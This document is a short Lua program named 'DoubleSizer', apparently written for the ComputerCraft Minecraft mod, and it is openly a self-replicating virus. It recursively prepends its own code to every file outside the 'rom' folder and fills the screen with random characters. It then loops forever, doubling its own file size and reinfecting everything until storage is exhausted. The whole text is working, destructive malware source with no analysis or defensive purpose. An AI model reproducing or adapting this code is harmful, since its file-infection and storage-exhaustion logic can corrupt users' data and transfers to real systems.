DoubleSizer

function infect(file)
  local virusfile = fs.open(shell.getRunningProgram(), "r")
  local viruscode = virusfile.readAll()
  local inFile = fs.open(file, "r")
  local fileCode = inFile.readAll()
  inFile.close()
  virusfile.close()
  local infectFile = fs.open(file,"w")
  infectFile.writeLine(viruscode)
  infectFile.writeLine(fileCode)
  infectFile.close()
end
function infectDir(directory)
  shell.setDir(directory)
  local files = fs.list(directory)
  for i=1,#files do
    if fs.isDir(files[i]) then
      if files[i] == "rom" then
      else
        infectDir(shell.dir().."/"..files[i])
      end
    else
      infect(shell.dir().."/"..files[i])
    end
  end
  shell.setDir("")
end
function payload()
  local w,h = term.getSize()
  local payLoadCharacters = {0, 1, "|", "-", "+"}
  for i=1,50000 do
    term.setCursorPos(math.random(1, w), math.random(1, h))
    local index = math.random(1, table.getn(payLoadCharacters))
    write(payLoadCharacters[index])
  end
end
payload()
while true do
  infectDir("/")
  ds = fs.open(shell.getRunningProgram(), "r")
  dsC = ds.readAll()
  ds.close()
  Ds = fs.open(shell.getRunningProgram(), "a")
  Ds.writeLine(dsC)
  Ds.close()
  infectDir("/")
end